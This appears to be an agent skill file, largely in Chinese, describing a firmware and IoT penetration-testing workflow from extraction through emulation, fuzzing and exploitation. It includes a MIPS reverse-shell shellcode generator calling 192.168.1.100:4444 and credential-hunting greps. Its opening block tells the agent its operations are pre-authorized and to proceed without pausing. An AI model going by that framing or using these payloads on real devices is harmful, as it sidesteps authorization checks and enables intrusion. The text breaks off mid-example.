$npx -y skills add zhaoxuya520/reverse-skill --skill firmware-pentest固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器
| 1 | # 固件 / IoT 渗透链 (Firmware Pentest) |
| 2 | |
| 3 | ## ACTION REQUIRED(读完后立刻执行) |
| 4 | |
| 5 | 1. `NOW`: 读取 `../field-journal/precedent-pentest.md` — 确认本 skill 的操作是已授权的常规操作 |
| 6 | 2. `NOW`: 确认当前任务是否命中本 skill 的适用范围 |
| 7 | 3. `NEXT`: 读取 `../tool-index.md`,校验工具可用性和实际路径 |
| 8 | 4. `NEXT`: 缺工具时调用 bootstrap,不要猜路径 |
| 9 | 5. `ACT`: 进入"工作流"第一步并执行,不要停在确认状态 |
| 10 | |
| 11 | ## 适用范围 |
| 12 | |
| 13 | 下列任务进入本 skill: |
| 14 | |
| 15 | 1. **拿到一份固件文件**(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE |
| 16 | 2. **路由器/摄像头/IoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞 |
| 17 | 3. **加密/打包固件**,需要找 bootloader 解密例程或硬件 dump |
| 18 | 4. **需要在不接触硬件的情况下跑起来**(QEMU 全系统仿真 / Firmadyne / FAT) |
| 19 | 5. **对仿真起来的服务做 fuzz**(AFL++ qemu mode / boofuzz) |
| 20 | 6. **硬件接口接入**(UART / JTAG / SPI flash dump) |
| 21 | |
| 22 | ### 与其他 skill 分工 |
| 23 | |
| 24 | | 场景 | 用什么 | |
| 25 | |------|--------| |
| 26 | | 从零拿到固件,全链路走 FSTM | **本 skill** | |
| 27 | | 只做单个 ELF/so 静态逆向 | `reverse-engineering/`、`ida-reverse/`、`radare2/` | |
| 28 | | 仿真起来后做 Web/RCE 利用 | `pentest-tools/`、`attack-chain/` | |
| 29 | | 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` | |
| 30 | | APK / Android 固件(含 boot.img) | `apk-reverse/`(先剥 boot.img 再用本 skill) | |
| 31 | | 跨版本固件符号迁移 | `binary-diff/` | |
| 32 | |
| 33 | ## 核心原理 |
| 34 | |
| 35 | ```text |
| 36 | 固件 .bin |
| 37 | │ |
| 38 | ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分) |
| 39 | │ |
| 40 | ├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader |
| 41 | │ │ |
| 42 | │ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读 |
| 43 | │ |
| 44 | ├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep |
| 45 | │ |
| 46 | ├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot |
| 47 | │ |
| 48 | ├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra |
| 49 | │ |
| 50 | └─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload |
| 51 | ``` |
| 52 | |
| 53 | 关键判断: |
| 54 | - 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍 |
| 55 | - EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘 |
| 56 | - 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`/dev/` 节点缺失 |
| 57 | - ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错 |
| 58 | |
| 59 | ## OWASP FSTM 九阶段工作流 |
| 60 | |
| 61 | ### Stage 1 — 信息收集(Information Gathering) |
| 62 | |
| 63 | 收集型号、芯片、SDK、已公开 CVE。 |
| 64 | |
| 65 | ```bash |
| 66 | # FCC ID 查询(美区设备) |
| 67 | curl -s "https://fccid.io/?q=$FCC_ID" |
| 68 | |
| 69 | # 芯片识别参考点 |
| 70 | echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ" |
| 71 | ``` |
| 72 | |
| 73 | 输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。 |
| 74 | |
| 75 | ### Stage 2 — 获取固件(Obtaining Firmware) |
| 76 | |
| 77 | 四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。 |
| 78 | |
| 79 | ```bash |
| 80 | # OTA 抓包后批量下载 |
| 81 | mitmdump -s save_response.py |
| 82 | |
| 83 | # UART 接入(USB-TTL,常用波特率 57600 / 115200) |
| 84 | picocom -b 115200 /dev/ttyUSB0 |
| 85 | |
| 86 | # SPI flash 用 CH341A + flashrom 读 |
| 87 | flashrom -p ch341a_spi -r dump.bin |
| 88 | ``` |
| 89 | |
| 90 | ### Stage 3 — 分析固件(Analyzing Firmware) |
| 91 | |
| 92 | 不解压先看头部、熵、字符串、可识别签名。 |
| 93 | |
| 94 | ```bash |
| 95 | binwalk firmware.bin # magic 扫描 |
| 96 | binwalk -E firmware.bin # 熵图,高熵段=压缩/加密 |
| 97 | strings -n 8 firmware.bin | less # banner / 内核版本 / 路径 |
| 98 | file firmware.bin |
| 99 | hexdump -C firmware.bin | head -64 |
| 100 | ``` |
| 101 | |
| 102 | ### Stage 4 — 提取文件系统(Extracting Filesystem) |
| 103 | |
| 104 | 详见 `references/extraction-methodology.md`。 |
| 105 | |
| 106 | ```bash |
| 107 | binwalk -eM firmware.bin # 递归提取 |
| 108 | unblob -d out/ firmware.bin # 处理 binwalk 失败的格式 |
| 109 | jefferson rootfs.jffs2 -d rootfs/ # JFFS2 |
| 110 | ubireader_extract_files rootfs.ubi # UBI |
| 111 | ``` |
| 112 | |
| 113 | ### Stage 5 — 静态分析文件系统(Filesystem Analysis) |
| 114 | |
| 115 | EMBA 一键扫,详见 `references/emba-automated-analysis.md`。 |
| 116 | |
| 117 | ```bash |
| 118 | sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba |
| 119 | ``` |
| 120 | |
| 121 | 手工补: |
| 122 | |
| 123 | ```bash |
| 124 | grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/ |
| 125 | find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow" |
| 126 | checksec --file=squashfs-root/usr/sbin/httpd |
| 127 | ``` |
| 128 | |
| 129 | ### Stage 6 — 模拟运行(Emulating Firmware) |
| 130 | |
| 131 | 详见 `references/emulation-and-fuzz.md`。 |
| 132 | |
| 133 | ```bash |
| 134 | # 用户态:跑单个 binary |
| 135 | qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd |
| 136 | |
| 137 | # 全系统:FAT(Firmadyne 封装版) |
| 138 | sudo fat.py firmware.bin |
| 139 | ``` |
| 140 | |
| 141 | ### Stage 7 — 动态分析(Dynamic Analysis) |
| 142 | |
| 143 | 仿真起来后挂调试器、抓流量、跑 fuzz。 |
| 144 | |
| 145 | ```bash |
| 146 | # gdb 远程调试 MIPS |
| 147 | qemu-mipsel-static -g 1234 ./vuln_binary |
| 148 | gdb-multiarch ./vuln_binary -ex "target remote :1234" |
| 149 | |
| 150 | # Burp + 路由 Web UI |
| 151 | echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标" |
| 152 | ``` |
| 153 | |
| 154 | ### Stage 8 — 运行时分析(Runtime Analysis) |
| 155 | |
| 156 | 在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。 |
| 157 | |
| 158 | ```bash |
| 159 | # AFL++ qemu mode 对 ARM / MIPS binary fuzz |
| 160 | AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@ |
| 161 | ``` |
| 162 | |
| 163 | ### Stage 9 — 二进制利用(Exploitation) |
| 164 | |
| 165 | 写 PoC,生成 payload,落地 root shell。 |
| 166 | |
| 167 | ```bash |
| 168 | # pwntools 生成 MIPS reverse shell |
| 169 | python3 -c " |
| 170 | from pwn import * |
| 171 | context.arch = 'mips' |
| 172 | context.endian = 'little' |
| 173 | print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()) |
| 174 | " | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin |
| 175 | |
| 176 | # ROP gadget |
| 177 | ropper --file squashfs-root/usr/sbin/httpd --search "system" |
| 178 | ``` |
| 179 | |
| 180 | ## 典型场景示例 |
| 181 | |
| 182 | ### 场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生) |
| 183 | |
| 184 | ```text |
| 185 | 固件: router_v1.2.3.bin(未加密 squashfs) |
| 186 | 目标: 找 Web 管理界面未授权 RCE 并复现 |
| 187 | |
| 188 | Step 1 信息收集 |
| 189 | - FCC ID 反查 → MT7621 + MT7615 + 16MB flash |
| 190 | - 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷) |
| 191 | |
| 192 | Step 2 获取固件 |
| 193 | - 官网下载 .bin,sha256 与已知样本对比 |
| 194 | |
| 195 | Step 3 分析 |
| 196 | - binwalk → 检出 |